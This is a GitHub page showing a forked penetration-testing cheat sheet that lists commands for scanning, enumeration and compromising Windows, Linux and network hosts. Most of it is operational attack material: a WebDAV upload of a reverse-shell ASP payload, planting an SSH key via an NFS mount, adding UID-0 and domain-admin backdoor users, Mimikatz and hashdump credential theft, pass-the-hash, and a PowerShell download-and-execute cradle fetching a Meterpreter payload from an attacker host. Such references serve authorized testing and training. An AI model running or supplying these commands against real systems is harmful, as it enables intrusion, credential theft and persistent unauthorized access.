forked from jivoi/Cheatsheets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Cheatsheet_PenTesting.txt
373 lines (269 loc) · 10.5 KB
/
Cheatsheet_PenTesting.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
-------------------------------------------------------------------------- Reminders
LOG EVERYTHING!
Metasploit - spool /home/<username>/.msf3/logs/console.log
Save contents from each terminal!
Linux - script myoutput.txt # Type exit to stop
[+] Disable network-manager
service network-manager stop
[+] Set IP address
ifconfig eth0 192.168.50.12/24
[+] Set default gateway
route add default gw 192.168.50.9
[+] Set DNS servers
echo "nameserver 192.168.100.2" >> /etc/resolv.conf
[+] Show routing table
Windows - route print
Linux - route -n
[+] Add static route
Linux - route add -net 192.168.100.0/24 gw 192.16.50.9
Windows - route add 0.0.0.0 mask 0.0.0.0 192.168.50.9
[+] Subnetting easy mode
ipcalc 192.168.0.1 255.255.255.0
[+] Windows SAM file locations
c:\windows\system32\config\
c:\windows\repair\
bkhive system /root/hive.txt
samdump2 SAM /root/hive.txt > /root/hash.txt
[+] Python Shell
python -c 'import pty;pty.spawn("/bin/bash")'
-------------------------------------------------------------------------- Internet Host/Network Enumeration
[+] WHOIS Querying
whois www.domain.com
[+] Resolve an IP using DIG
dig @8.8.8.8 securitymuppets.com
[+] Find Mail servers for a domain
dig @8.8.8.8 securitymuppets.com -t mx
[+] Find any DNS records for a domain
dig @8.8.8.8 securitymuppets.com -t any
[+] Zone Transfer
dig @192.168.100.2 securitymuppets.com -t axfr
host -l securitymuppets.com 192.168.100.2
nslookup / ls -d domain.com.local
-------------------------------------------------------------------------- IP Network scanning
[+] ARP Scan
arp-scan 192.168.50.8/28 -I eth0
[+] NMAP Scans
[+] Nmap ping scan
sudo nmap –sn -oA nmap_pingscan 192.168.100.0/24 (-PE)
[+] Nmap SYN/Top 100 ports Scan
nmap -sS -F -oA nmap_fastscan 192.168.0.1/24
[+] Nmap SYN/Version All port Scan - ## Main Scan
sudo nmap -sV -PN -p0- -T4 -A --stats-every 60s --reason -oA nmap_scan 192.168.0.1/24
[+] Nmap SYN/Version No Ping All port Scan
sudo nmap -sV -Pn -p0- --exclude 192.168.0.1 --reason -oA nmap_scan 192.168.0.1/24
[+] Nmap UDP All port scan - ## Main Scan
sudo nmap -sU -p0- --reason --stats-every 60s --max-rtt-timeout=50ms --max-retries=1 -oA nmap_scan 192.168.0.1/24
[+] Nmap UDP/Fast Scan
nmap -F -sU -oA nmap_UDPscan 192.168.0.1/24
[+] Nmap Top 1000 port UDP Scan
nmap -sU -oA nmap_UDPscan 192.168.0.1/24
[+] HPING3 Scans
hping3 -c 3 -s 53 -p 80 -S 192.168.0.1
Open = flags = SA
Closed = Flags = RA
Blocked = ICMP unreachable
Dropped = No response
[+] Source port scanning
nmap -g <port> (88 (Kerberos) port 53 (DNS) or 67 (DHCP))
Source port also doesn't work for OS detection.
-------------------------------------------------------------------------- Cisco/Networking Commands
? - Help
> - User mode
# - Privileged mode
router(config)# - Global Configuration mode
enable secret more secure than enable password.
For example, in the configuration command:
enable secret 5 $1$iUjJ$cDZ03KKGh7mHfX2RSbDqP.
The enable secret has been hashed with MD5, whereas in the command:
username jdoe password 7 07362E590E1B1C041B1E124C0A2F2E206832752E1A01134D
The password has been encrypted using the weak reversible algorithm.
enable - Change to privileged mode to view configs
config terminal/config t - Change to global config mode to modify
#show version - Gives you the router's configuration register (Firmware)
#show running-config - Shows the router, switch, or firewall's current configuration
#show ip route - show the router's routing table
#show tech-support - Dump config but obscure passwords
-------------------------------------------------------------------------- Remote Information Services
[+] DNS
Zone Transfer - host -l securitymuppets.com 192.168.100.2
Metasploit Auxiliarys:
auxiliary/gather/enum_dns
use auxiliary/gather/dns...
[+] Finger - Enumerate Users
finger @192.168.0.1
finger -l -p user@ip-address
auxiliary/scanner/finger/finger_users
[+] NTP
Metasploit Auxiliarys
[+] SNMP
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt
Metasploit Module snmp_enum
snmpcheck -t snmpservice
[+] rservices
rwho 192.168.0.1
rlogin -l root 192.168.0.17
[+] RPC Services
rpcinfo -p
Endpoint_mapper metasploit
-------------------------------------------------------------------------- Web Services
[+] WebDAV
Metasploit Auxiliarys
Upload shell to Vulnerable WebDAV directory:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.20 LPORT=4444 R | msfencode -t asp -o shell.asp
cadaver http://192.168.0.60/
put shell.asp shell.txt
copy shell.txt shell.asp;.txt
Start reverse handler - browse to http://192.168.0.60/shell.asp;.txt
-------------------------------------------------------------------------- Windows Networking Services
[+] Get Domain Information:
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
[+] Netbios Enumeration
nbtscan -r 192.168.0.1-100
nbtscan -f hostfiles.txt
[+] enum4linux
[+] RID Cycling
use auxiliary/scanner/smb/smb_lookupsid
[+] Null Session in Windows
net use \\192.168.0.1\IPC$ "" /u:""
[+] Null Session in Linux
smbclient -L //192.168.99.131
-------------------------------------------------------------------------- Accessing Email Services
Metasploit Auxiliarys
[+] SMTP Open Relay Commands
[-] ncat -C 86.54.23.178 25
[-] HELO mail.co.uk
[-] MAIL FROM: <[email protected]>
[-] RCPT TO: <[email protected]>
[-] DATA
Test Email - some malicious stuff!
-------------------------------------------------------------------------- VPN Testing
[+] ike-scan
ike-scan 192.168.207.134
sudo ike-scan -A 192.168.207.134
sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
[+] pskcrack
psk-crack -b 5 192-168-207-134key
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary 192-168-207-134key
-------------------------------------------------------------------------- Unix RPC
[+] NFS Mounts
Metasploit : auxiliary/scanner/nfs/nfsmount
rpcinfo -p 192.168.0.10
showmount -e 192.168.0.10
mount 192.168.0.10:/secret /mnt/share/
ssh-keygen
mkdir /tmp/r00t
mount -t nfs 192.168.0.10:/secret /mnt/share/
cat ~/.ssh/id_rsa.pub >> /mnt/share/root/.ssh/authorized_keys
umount /mnt/share
-------------------------------------------------------------------------- Post Exploitation
[+] Add Linux User
/usr/sbin/useradd –g 0 –u 0 –o user
echo user:password | /usr/sbin/chpasswd
[+] Add Windows User
net user username password@1 /add
net localgroup administrators username /add
[+] Solaris Commands
useradd -o user
passwd user
usermod -R root user
[+] Dump remote SAM:
PwDump.exe -u localadmin 192.168.0.1
[+] Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full
[+] Meterpreter
meterpreter> run winenum
meterpreter> use post/windows/gather/smart_hashdump
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token TVM\domainadmin
meterpreter > add_user hacker password1 -h 192.168.0.10
meterpreter > add_group_user "Domain Admins" hacker -h 192.168.0.10
meterpreter > load mimikatz
meterpreter > wdigest
meterpreter > getWdigestPasswords
Migrate if does not work!
[+] Kitrap0d
Download vdmallowed.exe and vdmexploit.dll to victim
Run vdmallowed.exe to execute system shell
[+] Windows Information
On Windows:
ipconfig /all
systeminfo
net localgroup administrators
net view
net view /domain
[+] SSH Tunnelling
Remote forward port 222
ssh -R 127.0.0.1:4444:10.1.1.251:222 -p 443 [email protected]
-------------------------------------------------------------------------- Metasploit
----------------- [+] Metasploit Pivot
Compromise 1st machine
# meterpreter> run arp_scanner -r 10.10.10.0/24
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/scanner/portscan/tcp
use bind shell
or run autoroute:
# meterpreter > ipconfig
# meterpreter > run autoroute -s 10.1.13.0/24
# meterpreter > getsystem
# meterpreter > run hashdump
# use auxiliary/scanner/portscan/tcp
# msf auxiliary(tcp) > use exploit/windows/smb/psexec
or port forwarding:
# meterpreter > run autoroute -s 10.1.13.0/24
# use auxiliary/scanner/portscan/tcp
# meterpreter > portfwd add -l <listening port> -p <remote port> -r <remote/internal host>
or socks proxy:
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/server/socks4a
Add proxy to /etc/proxychains.conf
proxychains nmap -sT -T4 -Pn 10.10.10.50
setg socks4:127.0.0.1:1080
----------------- [+] Pass the hash
If NTML only:
00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
STATUS_ACCESS_DENIED (Command=117 WordCount=0):
This can be remedied by navigating to the registry key, "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters" on the target systems and setting the value of "RequireSecuritySignature" to "0"
Run hashdump on the first compromised machine:
run post/windows/gather/hashdump
Run Psexec module and specify the hash:
use exploit/windows/smb/psexec
----------------- [+] Enable RDP:
meterpreter > run getgui -u hacker -p s3cr3t
Clean up command: meterpreter > run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110112.2448.rc
----------------- [+] AutoRunScript
Automatically run scripts before exploiation:
set AutoRunScript "migrate explorer.exe"
[+] Set up SOCKS proxy in MSF
[+] Run a post module against all sessions
resource /usr/share/metasploit-framework/scripts/resource/run_all_post.rc
[+] Find local subnets 'Whilst in meterpreter shell'
meterpreter > run get_local_subnets
# Add the correct Local host and Local port parameters
echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.0.7 -Lport 443 -Force" >> /var/www/payload
# Set up psexec module on metasploit
auxiliary/admin/smb/psexec_command
set command powershell -Exec Bypass -NoL -NoProfile -Command IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.0.9/payload\')
# Start reverse Handler to catch the reverse connection
Module options (exploit/multi/handler):
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.0.9 yes The local listener hostname
LPORT 443 yes The local listener port
# Show evasion module options
show evasion
[+] Metasploit Shellcode
msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d'
-------------------------------------------------------------------------- File Transfer Services
[+] Start TFTPD Server
atftpd --daemon --port 69 /tmp
[+] Connect to TFTP Server
tftp 192.168.0.10
put / get files